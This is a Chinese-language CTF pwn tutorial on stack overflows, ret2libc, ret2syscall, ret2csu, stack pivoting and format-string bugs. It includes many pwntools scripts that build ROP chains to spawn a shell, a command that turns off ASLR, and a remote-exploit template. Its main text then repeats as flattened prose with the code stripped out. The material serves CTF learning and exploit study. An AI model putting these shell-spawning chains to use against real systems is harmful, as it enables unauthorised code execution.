CTF-Pwn从栈溢出到系统调用:ROP攻击全景图解与实战进阶指南(万字超详版)
字数 1936 2025-12-16 12:37:50

CTF-Pwn从栈溢出到系统调用:ROP攻击全景图解与实战进阶指南

一、栈溢出原理与基础利用

1.1 栈溢出基本概念

栈溢出是指程序向栈上的局部缓冲区写入了超过其分配大小的数据,导致多余的数据溢出并覆盖了栈中相邻的重要信息,如各个寄存器和函数的返回地址。攻击者可以利用这一点精心构造输入数据,篡改返回地址,使程序跳转到恶意代码所在的位置执行。

发生栈溢出的基本前提:

  • 程序必须向栈上写入数据
  • 写入的数据大小没有被良好地控制

1.2 基础栈溢出利用实例

编译配置

gcc -m32 -fno-stack-protector -no-pie -o zhan zhan.c
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

栈布局分析

假设存在漏洞函数:

void echo_input() {
    char buffer[0x18];  // ebp - 0x18
    gets(buffer);
}

偏移量计算:

  • buffer起始于 ebp - 0x18
  • 保存的ebp在 ebp
  • 返回地址在 ebp + 4
  • 总偏移量:0x18 + 4 = 0x1c (28字节)

利用脚本编写

from pwn import *

context(arch='i386', os='linux')
p = process('./zhan')

win_addr = 0x08049186
payload = b'A' * 0x1c + p32(win_addr)

p.sendline(payload)
p.interactive()

二、初级ROP攻击技术

2.1 ret2text

原理: 程序的.text段中已经存在可以直接getshell的代码,通过栈溢出将返回地址覆盖为后门函数地址。

利用条件:

  • 存在后门函数(如system("/bin/sh"))
  • 已知后门函数地址

实例分析:

from pwn import *

system_addr = 0x08048460
binsh_addr = 0x08048720
offset = 0x88 + 4  # 140字节

payload = b'A' * offset + p32(system_addr) + p32(0) + p32(binsh_addr)

2.2 ret2libc

2.2.1 32位ret2libc

技术原理: 利用libc中已有的高危函数(如system)执行系统命令。

利用步骤:

  1. 泄露libc函数地址(如write、puts)
  2. 计算libc基地址
  3. 获取system和"/bin/sh"地址
  4. 构造ROP链

典型利用脚本:

from pwn import *

# 第一次利用:泄露libc地址
payload1 = b'\x00'*7 + b'\xff' + b'A'*(0xe7+4-8)
payload1 += p32(elf.plt['write']) + p32(main_addr)
payload1 += p32(1) + p32(elf.got['write']) + p32(4)

# 第二次利用:执行system("/bin/sh")
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'A'*(0xe7+4) + p32(system_addr) + p32(0) + p32(binsh_addr)

2.2.2 64位ret2libc

关键差异: 64位使用寄存器传参(rdi, rsi, rdx, rcx, r8, r9)

利用要点:

  • 需要找到pop rdi; ret等gadget
  • 参数通过寄存器传递

典型利用:

# 泄露canary和libc地址
pop_rdi = 0x400a93
ret = 0x4006ae

# 第一次:泄露canary和libc
payload1 = b'A'*(0x50-0x8) + p64(canary) + p64(rbp) 
payload1 += p64(pop_rdi) + p64(elf.got['puts'])
payload1 += p64(elf.plt['puts']) + p64(main_addr)

# 第二次:getshell
payload2 = b'A'*(0x50-0x8) + p64(canary) + p64(rbp)
payload2 += p64(ret) + p64(pop_rdi) + p64(binsh_addr)
payload2 += p64(system_addr)

2.3 ret2syscall

2.3.1 32位ret2syscall

系统调用设置:

  • eax = 0xb (execve系统调用号)
  • ebx = "/bin/sh"字符串地址
  • ecx = 0
  • edx = 0

gadget查找:

ROPgadget --binary ./binary --only "pop|ret"

典型利用:

pop_eax = 0x080bb196
pop_ebx_ecx_edx = 0x0806eb90
binsh = 0x080be408
int_0x80 = 0x08049421

payload = b'A'*offset
payload += p32(pop_eax) + p32(0xb)
payload += p32(pop_ebx_ecx_edx) + p32(binsh) + p32(0) + p32(0)
payload += p32(int_0x80)

2.3.2 64位ret2syscall

系统调用设置:

  • rax = 0x3b (execve系统调用号)
  • rdi = "/bin/sh"字符串地址
  • rsi = 0
  • rdx = 0

利用技巧: 当缺少"/bin/sh"字符串时,可写入.bss段

典型利用:

pop_rax = 0x0000000000415714
pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x000000000044a155
syscall = 0x000000000040246c
bss_addr = 0x00000000004c5000

# 写入"/bin/sh"到.bss段
payload = b'A'*(0x50+8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss_addr)
payload += p64(pop_rdx) + p64(8)
payload += p64(elf.plt['read'])
payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(syscall)

2.4 通用ROP(ret2csu)

2.4.1 技术原理

利用__libc_csu_init中的通用gadget控制rdi、rsi、rdx寄存器。

关键gadget:

# 第一段:设置寄存器
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret

# 第二段:传递参数
mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]

2.4.2 利用条件

  • rbx = 0
  • rbp = 1(确保循环只执行一次)
  • r12 = 目标函数GOT地址
  • r13 = edi参数值
  • r14 = rsi参数值
  • r15 = rdx参数值

2.4.3 典型利用

csu_pop = 0x4012AA
csu_mov = 0x401290
vuln_addr = 0x4011B9

# 第一次:泄露write地址
payload = b'A'*(0x100+8)
payload += p64(csu_pop) + p64(0) + p64(1) + p64(elf.got['write'])
payload += p64(8) + p64(elf.got['write']) + p64(1)  # r13,r14,r15
payload += p64(csu_mov)
payload += b'\x00'*0x38  # 栈平衡
payload += p64(vuln_addr)  # 返回vuln进行第二次利用

2.5 栈迁移技术

2.5.1 技术原理

当栈溢出空间不足时,将栈指针迁移到可控内存区域(如.bss段)。

关键条件:

  • 能控制某内存区域内容
  • 能找到修改rsp的gadget(如leave; ret

2.5.2 利用步骤

  1. 第一次迁移: 修改rbp指向可控区域
  2. 第二次迁移: 通过leave指令将rsp指向新栈
  3. 布置ROP链: 在新栈位置布置完整利用链

2.5.3 典型利用

bss_addr = 0x404900
leave_ret = 0x4012a1
pop_rdi = 0x4012a3

# 第一次:改变rbp
payload1 = b'A'*0x40 + p64(bss_addr) + p64(0x4011dd)

# 第二次:改变rsp并布置ROP链
payload2 = p64(bss_addr + 0x40)  # 新rbp
payload2 += p64(pop_rdi) + p64(elf.got['puts'])
payload2 += p64(elf.plt['puts']) + p64(0x4011a9)

三、格式化字符串漏洞

3.1 漏洞原理

当程序使用用户输入作为printf等函数的格式字符串参数时,攻击者可通过特殊格式符实现内存读写。

3.2 漏洞利用技术

3.2.1 信息泄露

确定偏移量:

payload = b"AAAA.%x.%x.%x.%x.%x.%x"
# 观察61616161(AAAA)出现的位置即为偏移量

泄露GOT表地址:

payload = p32(elf.got['printf']) + b"%4$s"

3.2.2 内存覆盖

覆盖栈变量:

# 确定变量地址和偏移量
payload = p32(c_addr) + b"%6$n"  # 将c的值修改为4

任意地址写:

# 分次写入(应对地址随机化)
def write_byte(addr, value):
    payload = p32(addr) + f"%{value}c%6$hhn".encode()

3.3 防护绕过技巧

  • ASLR绕过: 通过信息泄露获取基地址
  • PIE绕过: 利用信息泄露计算实际地址
  • 栈保护绕过: 格式化字符串漏洞通常不影响canary

四、防护机制与绕过策略

4.1 常见防护机制

  • NX/DEP: 数据执行保护 - 使用ROP技术绕过
  • ASLR: 地址空间布局随机化 - 信息泄露获取基地址
  • Stack Canary: 栈保护 - 信息泄露或格式化字符串绕过
  • PIE: 位置无关可执行 - 信息泄露计算偏移

4.2 综合利用策略

  1. 信息收集: 检查保护机制,寻找可用gadget
  2. 漏洞利用: 根据漏洞类型选择合适技术
  3. 链式攻击: 组合多种技术实现完整利用
  4. 稳定性优化: 处理异常情况,提高利用成功率

五、实战技巧与调试方法

5.1 调试技巧

# 使用gdb调试
gdb.attach(p, gdbscript='''
b *0x401000
c
''')

5.2 偏移计算工具

# 自动化偏移计算
def find_offset(binary):
    pattern = cyclic(100)
    # 发送pattern并分析崩溃地址
    return cyclic_find(crash_addr)

5.3 利用脚本模板

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'  # 或'i386'

def exploit():
    if args.REMOTE:
        p = remote('host', port)
    else:
        p = process('./binary')
    
    # 利用代码...
    
    p.interactive()

if __name__ == '__main__':
    exploit()

本指南涵盖了从基础栈溢出到高级ROP利用的完整知识体系,通过实际案例演示了各种技术的应用场景和实现方法,为CTF-Pwn学习提供了系统性的技术参考。

CTF-Pwn从栈溢出到系统调用:ROP攻击全景图解与实战进阶指南 一、栈溢出原理与基础利用 1.1 栈溢出基本概念 栈溢出是指程序向栈上的局部缓冲区写入了超过其分配大小的数据,导致多余的数据溢出并覆盖了栈中相邻的重要信息,如各个寄存器和函数的返回地址。攻击者可以利用这一点精心构造输入数据,篡改返回地址,使程序跳转到恶意代码所在的位置执行。 发生栈溢出的基本前提: 程序必须向栈上写入数据 写入的数据大小没有被良好地控制 1.2 基础栈溢出利用实例 编译配置 栈布局分析 假设存在漏洞函数: 偏移量计算: buffer起始于 ebp - 0x18 保存的ebp在 ebp 处 返回地址在 ebp + 4 总偏移量: 0x18 + 4 = 0x1c (28字节) 利用脚本编写 二、初级ROP攻击技术 2.1 ret2text 原理: 程序的.text段中已经存在可以直接getshell的代码,通过栈溢出将返回地址覆盖为后门函数地址。 利用条件: 存在后门函数(如system("/bin/sh")) 已知后门函数地址 实例分析: 2.2 ret2libc 2.2.1 32位ret2libc 技术原理: 利用libc中已有的高危函数(如system)执行系统命令。 利用步骤: 泄露libc函数地址(如write、puts) 计算libc基地址 获取system和"/bin/sh"地址 构造ROP链 典型利用脚本: 2.2.2 64位ret2libc 关键差异: 64位使用寄存器传参(rdi, rsi, rdx, rcx, r8, r9) 利用要点: 需要找到 pop rdi; ret 等gadget 参数通过寄存器传递 典型利用: 2.3 ret2syscall 2.3.1 32位ret2syscall 系统调用设置: eax = 0xb (execve系统调用号) ebx = "/bin/sh"字符串地址 ecx = 0 edx = 0 gadget查找: 典型利用: 2.3.2 64位ret2syscall 系统调用设置: rax = 0x3b (execve系统调用号) rdi = "/bin/sh"字符串地址 rsi = 0 rdx = 0 利用技巧: 当缺少"/bin/sh"字符串时,可写入.bss段 典型利用: 2.4 通用ROP(ret2csu) 2.4.1 技术原理 利用 __libc_csu_init 中的通用gadget控制rdi、rsi、rdx寄存器。 关键gadget: 2.4.2 利用条件 rbx = 0 rbp = 1(确保循环只执行一次) r12 = 目标函数GOT地址 r13 = edi参数值 r14 = rsi参数值 r15 = rdx参数值 2.4.3 典型利用 2.5 栈迁移技术 2.5.1 技术原理 当栈溢出空间不足时,将栈指针迁移到可控内存区域(如.bss段)。 关键条件: 能控制某内存区域内容 能找到修改rsp的gadget(如 leave; ret ) 2.5.2 利用步骤 第一次迁移: 修改rbp指向可控区域 第二次迁移: 通过leave指令将rsp指向新栈 布置ROP链: 在新栈位置布置完整利用链 2.5.3 典型利用 三、格式化字符串漏洞 3.1 漏洞原理 当程序使用用户输入作为printf等函数的格式字符串参数时,攻击者可通过特殊格式符实现内存读写。 3.2 漏洞利用技术 3.2.1 信息泄露 确定偏移量: 泄露GOT表地址: 3.2.2 内存覆盖 覆盖栈变量: 任意地址写: 3.3 防护绕过技巧 ASLR绕过: 通过信息泄露获取基地址 PIE绕过: 利用信息泄露计算实际地址 栈保护绕过: 格式化字符串漏洞通常不影响canary 四、防护机制与绕过策略 4.1 常见防护机制 NX/DEP: 数据执行保护 - 使用ROP技术绕过 ASLR: 地址空间布局随机化 - 信息泄露获取基地址 Stack Canary: 栈保护 - 信息泄露或格式化字符串绕过 PIE: 位置无关可执行 - 信息泄露计算偏移 4.2 综合利用策略 信息收集: 检查保护机制,寻找可用gadget 漏洞利用: 根据漏洞类型选择合适技术 链式攻击: 组合多种技术实现完整利用 稳定性优化: 处理异常情况,提高利用成功率 五、实战技巧与调试方法 5.1 调试技巧 5.2 偏移计算工具 5.3 利用脚本模板 本指南涵盖了从基础栈溢出到高级ROP利用的完整知识体系,通过实际案例演示了各种技术的应用场景和实现方法,为CTF-Pwn学习提供了系统性的技术参考。